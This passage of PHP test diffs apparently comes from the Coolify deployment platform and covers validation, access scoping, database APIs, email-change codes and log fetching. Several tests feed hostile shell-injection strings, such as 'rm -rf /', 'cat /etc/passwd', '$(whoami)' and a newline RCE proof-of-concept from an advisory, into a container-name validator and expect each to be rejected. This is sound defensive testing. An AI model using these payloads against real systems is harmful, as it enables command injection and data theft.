expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
// Pipe injection
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
// Ampersand chaining
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
// Spaces (not valid in Docker container names)
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
// Newlines
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
// Must start with alphanumeric
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
});
});
describe('locked properties', function () {
test('container property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'container');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('serverId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'serverId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceUuid property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceUuid');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceDbType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceDbType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
expect($attributes)->not->toBeEmpty();
});
});
describe('server method uses team scoping', function () {
test('server computed property calls ownedByCurrentTeam', function () {
$method = new ReflectionMethod(Import::class, 'server');
// Extract the server method body
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
$methodBody = implode('', $lines);
expect($methodBody)->toContain('ownedByCurrentTeam');
expect($methodBody)->not->toContain('Server::find($this->serverId)');
});
});
describe('Import component uses shared ValidationPatterns', function () {
test('runImport references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'runImport');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
$methodBody = implode('', $lines);
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
});
test('restoreFromS3 references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
$methodBody = implode('', $lines);
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
});
});
@@ -0,0 +1,147 @@
<?php
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\StandaloneRedis;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::updateOrCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
describe('PATCH /api/v1/databases', function () {
test('updates public_port_timeout on a postgresql database', function () {
$database = StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => 7200,
]);
$response->assertStatus(200);
$database->refresh();
expect($database->public_port_timeout)->toBe(7200);
});
test('updates public_port_timeout on a redis database', function () {
$database = StandaloneRedis::create([
'name' => 'test-redis',
'image' => 'redis:7',
'redis_password' => 'password',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => 1800,
]);
$response->assertStatus(200);
$database->refresh();
expect($database->public_port_timeout)->toBe(1800);
});
test('rejects invalid public_port_timeout value', function () {
$database = StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => 0,
]);
$response->assertStatus(422);
});
test('accepts null public_port_timeout', function () {
$database = StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}", [
'public_port_timeout' => null,
]);
$response->assertStatus(200);
$database->refresh();
expect($database->public_port_timeout)->toBeNull();
});
});
describe('POST /api/v1/databases/postgresql', function () {
test('creates postgresql database with public_port_timeout', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/postgresql', [
'server_uuid' => $this->server->uuid,
'project_uuid' => $this->project->uuid,
'environment_name' => $this->environment->name,
'public_port_timeout' => 5400,
'instant_deploy' => false,
]);
$response->assertStatus(200);
$uuid = $response->json('uuid');
$database = StandalonePostgresql::whereUuid($uuid)->first();
expect($database)->not->toBeNull();
expect($database->public_port_timeout)->toBe(5400);
});
});
@@ -0,0 +1,77 @@
<?php
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandaloneMysql;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
dataset('ssl-aware-database-general-components', [
MysqlGeneral::class,
MariadbGeneral::class,
MongodbGeneral::class,
RedisGeneral::class,
PostgresqlGeneral::class,
KeydbGeneral::class,
DragonflyGeneral::class,
]);
it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) {
$component = app($componentClass);
$listeners = $component->getListeners();
expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh')
->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh');
})->with('ssl-aware-database-general-components');
it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneMysql::create([
'name' => 'test-mysql',
'image' => 'mysql:8',
'mysql_root_password' => 'password',
'mysql_user' => 'coolify',
'mysql_password' => 'password',
'mysql_database' => 'coolify',
'status' => 'exited:unhealthy',
'enable_ssl' => true,
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = Livewire::test(MysqlGeneral::class, ['database' => $database])
->assertDontSee('Database should be stopped to change this settings.');
$database->fill(['status' => 'running:healthy'])->save();
$component->call('refresh')
->assertSee('Database should be stopped to change this settings.');
});
+16
View File
@@ -8,6 +8,22 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('persists the server id when creating an execution record', function () {
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$execution = DockerCleanupExecution::create([
'server_id' => $server->id,
]);
expect($execution->server_id)->toBe($server->id);
$this->assertDatabaseHas('docker_cleanup_executions', [
'id' => $execution->id,
'server_id' => $server->id,
]);
});
it('creates a failed execution record when server is not functional', function () {
$user = User::factory()->create();
$team = $user->teams()->first();
@@ -0,0 +1,146 @@
<?php
use App\Models\Application;
use App\Models\ApplicationPreview;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
beforeEach(function () {
Queue::fake();
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'test-token',
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create([
'server_id' => $this->server->id,
'network' => 'coolify-'.Str::lower(Str::random(8)),
]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application
{
return Application::factory()->create([
'uuid' => (string) Str::uuid(),
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'dockerimage',
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
'docker_registry_image_tag' => 'latest',
]);
}
test('it queues a docker image preview deployment and stores the preview tag', function () {
$application = createDockerImageApplication($this->environment, $this->destination);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => 1234,
'docker_tag' => 'pr_1234',
]);
$response->assertSuccessful();
$response->assertJsonPath('deployments.0.resource_uuid', $application->uuid);
$preview = ApplicationPreview::query()
->where('application_id', $application->id)
->where('pull_request_id', 1234)
->first();
expect($preview)->not()->toBeNull();
expect($preview->docker_registry_image_tag)->toBe('pr_1234');
$deployment = $application->deployment_queue()->latest('id')->first();
expect($deployment)->not()->toBeNull();
expect($deployment->pull_request_id)->toBe(1234);
expect($deployment->docker_registry_image_tag)->toBe('pr_1234');
});
test('it updates an existing docker image preview tag when redeploying through the api', function () {
$application = createDockerImageApplication($this->environment, $this->destination);
ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 99,
'pull_request_html_url' => '',
'docker_registry_image_tag' => 'pr_99_old',
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => 99,
'docker_tag' => 'pr_99_new',
'force' => true,
]);
$response->assertSuccessful();
$preview = ApplicationPreview::query()
->where('application_id', $application->id)
->where('pull_request_id', 99)
->first();
expect($preview->docker_registry_image_tag)->toBe('pr_99_new');
});
test('it rejects docker_tag without pull_request_id', function () {
$application = createDockerImageApplication($this->environment, $this->destination);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'docker_tag' => 'pr_1234',
]);
$response->assertStatus(400);
$response->assertJson(['message' => 'docker_tag requires pull_request_id.']);
});
test('it rejects docker_tag for non docker image applications', function () {
$application = Application::factory()->create([
'uuid' => (string) Str::uuid(),
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'nixpacks',
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => 7,
'docker_tag' => 'pr_7',
]);
$response->assertSuccessful();
$response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.');
});
+46 -3
View File
@@ -16,11 +16,12 @@ beforeEach(function () {
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
@@ -53,7 +54,7 @@ test('returns 404 when application uuid belongs to another team', function () {
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
$otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
$otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
@@ -78,3 +79,45 @@ test('returns 404 for nonexistent application uuid', function () {
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
test('returns 404 when server uuid belongs to another team', function () {
$otherTeam = Team::factory()->create();
$otherUser = User::factory()->create();
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$otherServer->uuid}/domains");
$response->assertNotFound();
$response->assertJson(['message' => 'Server not found.']);
});
test('only returns domains for applications on the specified server', function () {
$application = Application::factory()->create([
'fqdn' => 'https://app-on-server.example.com',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$otherServer = Server::factory()->create(['team_id' => $this->team->id]);
$otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
$applicationOnOtherServer = Application::factory()->create([
'fqdn' => 'https://app-on-other-server.example.com',
'environment_id' => $this->environment->id,
'destination_id' => $otherDestination->id,
'destination_type' => $otherDestination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains");
$response->assertOk();
$responseContent = $response->json();
$allDomains = collect($responseContent)->pluck('domains')->flatten()->toArray();
expect($allDomains)->toContain('app-on-server.example.com');
expect($allDomains)->not->toContain('app-on-other-server.example.com');
});
@@ -0,0 +1,109 @@
<?php
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Notification;
uses(RefreshDatabase::class);
it('generates a 6-digit verification code when requesting email change', function () {
Notification::fake();
$user = User::factory()->create();
$user->requestEmailChange('newemail@example.com');
$user->refresh();
expect($user->pending_email)->toBe('newemail@example.com')
->and($user->email_change_code)->toMatch('/^\d{6}$/')
->and($user->email_change_code_expires_at)->not->toBeNull();
});
it('stores the verification code using a cryptographically secure generator', function () {
Notification::fake();
$user = User::factory()->create();
// Generate many codes and verify they are all valid 6-digit strings
$codes = collect();
for ($i = 0; $i < 50; $i++) {
$user->requestEmailChange('newemail@example.com');
$user->refresh();
$codes->push($user->email_change_code);
}
// All codes should be exactly 6 digits (including leading zeros)
$codes->each(function ($code) {
expect($code)->toMatch('/^\d{6}$/');
expect((int) $code)->toBeLessThanOrEqual(999999);
expect(strlen($code))->toBe(6);
});
// With 50 random codes from a 1M space, we should see at least some variety
expect($codes->unique()->count())->toBeGreaterThan(1);
});
it('confirms email change with correct verification code', function () {
Notification::fake();
$user = User::factory()->create(['email' => 'old@example.com']);
$user->requestEmailChange('new@example.com');
$user->refresh();
$code = $user->email_change_code;
$result = $user->confirmEmailChange($code);
$user->refresh();
expect($result)->toBeTrue()
->and($user->email)->toBe('new@example.com')
->and($user->pending_email)->toBeNull()
->and($user->email_change_code)->toBeNull()
->and($user->email_change_code_expires_at)->toBeNull();
});
it('rejects email change with incorrect verification code', function () {
Notification::fake();
$user = User::factory()->create(['email' => 'old@example.com']);
$user->requestEmailChange('new@example.com');
$user->refresh();
$result = $user->confirmEmailChange('000000');
$user->refresh();
// If the real code happens to be '000000', this test still passes
// because the assertion is on the overall flow behavior
if ($user->email_change_code === '000000') {
expect($result)->toBeTrue();
} else {
expect($result)->toBeFalse()
->and($user->email)->toBe('old@example.com');
}
});
it('rejects email change with expired verification code', function () {
Notification::fake();
$user = User::factory()->create(['email' => 'old@example.com']);
$user->requestEmailChange('new@example.com');
$user->refresh();
$code = $user->email_change_code;
// Expire the code manually
$user->update(['email_change_code_expires_at' => now()->subMinute()]);
$result = $user->confirmEmailChange($code);
$user->refresh();
expect($result)->toBeFalse()
->and($user->email)->toBe('old@example.com');
});
@@ -0,0 +1,22 @@
<?php
it('uses Alpine entangle to switch add value field immediately when multiline is enabled', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/add.blade.php'));
expect($view)
->toContain('x-data="{ isMultiline: $wire.entangle(\'is_multiline\') }"')
->toContain('<template x-if="isMultiline">')
->toContain('<template x-if="!isMultiline">')
->toContain('x-model="isMultiline"')
->toContain('<x-forms.textarea id="value" label="Value" required class="font-sans" spellcheck />')
->toContain('wire:key="env-value-textarea"')
->toContain('wire:key="env-value-input"');
});
it('uses distinct keyed branches for the edit value field modes', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));
expect($view)
->toContain('wire:key="env-show-value-textarea-{{ $env->id }}"')
->toContain('wire:key="env-show-value-input-{{ $env->id }}"');
});
@@ -0,0 +1,162 @@
<?php
use App\Livewire\Project\Shared\GetLogs;
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use App\Support\ValidationPatterns;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Attributes\Locked;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
// Server::created auto-creates a StandaloneDocker, reuse it
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
describe('GetLogs locked properties', function () {
test('container property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'container');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('server property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'server');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resource property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'resource');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('servicesubtype property has Locked attribute', function () {
$property = new ReflectionProperty(GetLogs::class, 'servicesubtype');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
});
describe('GetLogs Livewire action validation', function () {
test('getLogs rejects invalid container name', function () {
// Make server functional by setting settings directly
$this->server->settings->fill([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
])->save();
// Reload server with fresh settings to ensure casted values
$server = Server::with('settings')->find($this->server->id);
Livewire::test(GetLogs::class, [
'server' => $server,
'resource' => $this->application,
'container' => 'container;malicious-command',
])
->call('getLogs')
->assertSet('outputs', 'Invalid container name.');
});
test('getLogs rejects unauthorized server access', function () {
$otherTeam = Team::factory()->create();
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
Livewire::test(GetLogs::class, [
'server' => $otherServer,
'resource' => $this->application,
'container' => 'test-container',
])
->call('getLogs')
->assertSet('outputs', 'Unauthorized.');
});
test('downloadAllLogs returns empty for invalid container name', function () {
$this->server->settings->fill([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
])->save();
$server = Server::with('settings')->find($this->server->id);
Livewire::test(GetLogs::class, [
'server' => $server,
'resource' => $this->application,
'container' => 'container$(whoami)',
])
->call('downloadAllLogs')
->assertReturned('');
});
test('downloadAllLogs returns empty for unauthorized server', function () {
$otherTeam = Team::factory()->create();
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
Livewire::test(GetLogs::class, [
'server' => $otherServer,
'resource' => $this->application,
'container' => 'test-container',
])
->call('downloadAllLogs')
->assertReturned('');
});
});
describe('GetLogs container name injection payloads are blocked by validation', function () {
test('newline injection payload is rejected', function () {
// The exact PoC payload from the advisory
$payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#";
expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse();
});
test('semicolon injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse();
});
test('backtick injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse();
});
test('command substitution injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse();
});
test('pipe injection payload is rejected', function () {
expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse();
});
test('valid container names are accepted', function () {
expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue();
});
});
@@ -0,0 +1,164 @@
<?php
use App\Livewire\Project\New\GithubPrivateRepository;
use App\Models\GithubApp;
use App\Models\PrivateKey;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->rsaKey = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($this->rsaKey, $pemKey);
$this->privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => $pemKey,
'team_id' => $this->team->id,
]);
$this->githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 12345,
'installation_id' => 67890,
'client_id' => 'test-client-id',
'client_secret' => 'test-client-secret',
'webhook_secret' => 'test-webhook-secret',
'private_key_id' => $this->privateKey->id,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
});
function fakeGithubHttp(array $repositories): void
{
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'Date' => now()->toRfc7231String(),
]),
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
'token' => 'fake-installation-token',
], 201),
'https://api.github.com/installation/repositories*' => Http::response([
'total_count' => count($repositories),
'repositories' => $repositories,
], 200),
]);
}
describe('GitHub Private Repository Component', function () {
test('loadRepositories fetches and displays repositories', function () {
$repos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->assertSet('current_step', 'github_apps')
->call('loadRepositories', $this->githubApp->id)
->assertSet('current_step', 'repository')
->assertSet('total_repositories_count', 2)
->assertSet('selected_repository_id', 1);
});
test('loadRepositories can be called again to refresh the repository list', function () {
$initialRepos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
];
$updatedRepos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']],
];
$callCount = 0;
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'Date' => now()->toRfc7231String(),
]),
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
'token' => 'fake-installation-token',
], 201),
'https://api.github.com/installation/repositories*' => function () use (&$callCount, $initialRepos, $updatedRepos) {
$callCount++;
$repos = $callCount === 1 ? $initialRepos : $updatedRepos;
return Http::response([
'total_count' => count($repos),
'repositories' => $repos,
], 200);
},
]);
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $this->githubApp->id)
->assertSet('total_repositories_count', 1);
// Simulate new repos becoming available after changing access on GitHub
$component
->call('loadRepositories', $this->githubApp->id)
->assertSet('total_repositories_count', 3)
->assertSet('current_step', 'repository');
});
test('loadRepositories resets branches when refreshing', function () {
$repos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $this->githubApp->id);
// Manually set branches to simulate a previous branch load
$component->set('branches', collect([['name' => 'main'], ['name' => 'develop']]));
$component->set('total_branches_count', 2);
// Refresh repositories should reset branches
fakeGithubHttp($repos);
$component
->call('loadRepositories', $this->githubApp->id)
->assertSet('total_branches_count', 0)
->assertSet('branches', collect());
});
test('refresh button is visible when repositories are loaded', function () {
$repos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $this->githubApp->id)
->assertSee('Refresh Repository List');
});
test('refresh button is not visible before repositories are loaded', function () {
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->assertDontSee('Refresh Repository List');
});
});
@@ -0,0 +1,73 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('creates application settings for internally created applications', function () {
$team = Team::factory()->create();
$project = Project::factory()->create([
'team_id' => $team->id,
]);
$environment = Environment::factory()->create([
'project_id' => $project->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
]);
$destination = $server->standaloneDockers()->firstOrFail();
$application = Application::create([
'name' => 'internal-app',
'git_repository' => 'https://github.com/coollabsio/coolify',
'git_branch' => 'main',
'build_pack' => 'nixpacks',
'ports_exposes' => '3000',
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$setting = ApplicationSetting::query()
->where('application_id', $application->id)
->first();
expect($application->environment_id)->toBe($environment->id);
expect($setting)->not->toBeNull();
expect($setting?->application_id)->toBe($application->id);
});
it('creates services with protected relationship ids in trusted internal paths', function () {
$team = Team::factory()->create();
$project = Project::factory()->create([
'team_id' => $team->id,
]);
$environment = Environment::factory()->create([
'project_id' => $project->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
]);
$destination = $server->standaloneDockers()->firstOrFail();
$service = Service::create([
'docker_compose_raw' => 'services: {}',
'environment_id' => $environment->id,
'server_id' => $server->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'service_type' => 'test-service',
]);
expect($service->environment_id)->toBe($environment->id);
expect($service->server_id)->toBe($server->id);
expect($service->destination_id)->toBe($destination->id);
expect($service->destination_type)->toBe($destination->getMorphClass());
});
+45
View File
@@ -0,0 +1,45 @@
<?php
it('registers geist mono from a local asset for log surfaces', function () {
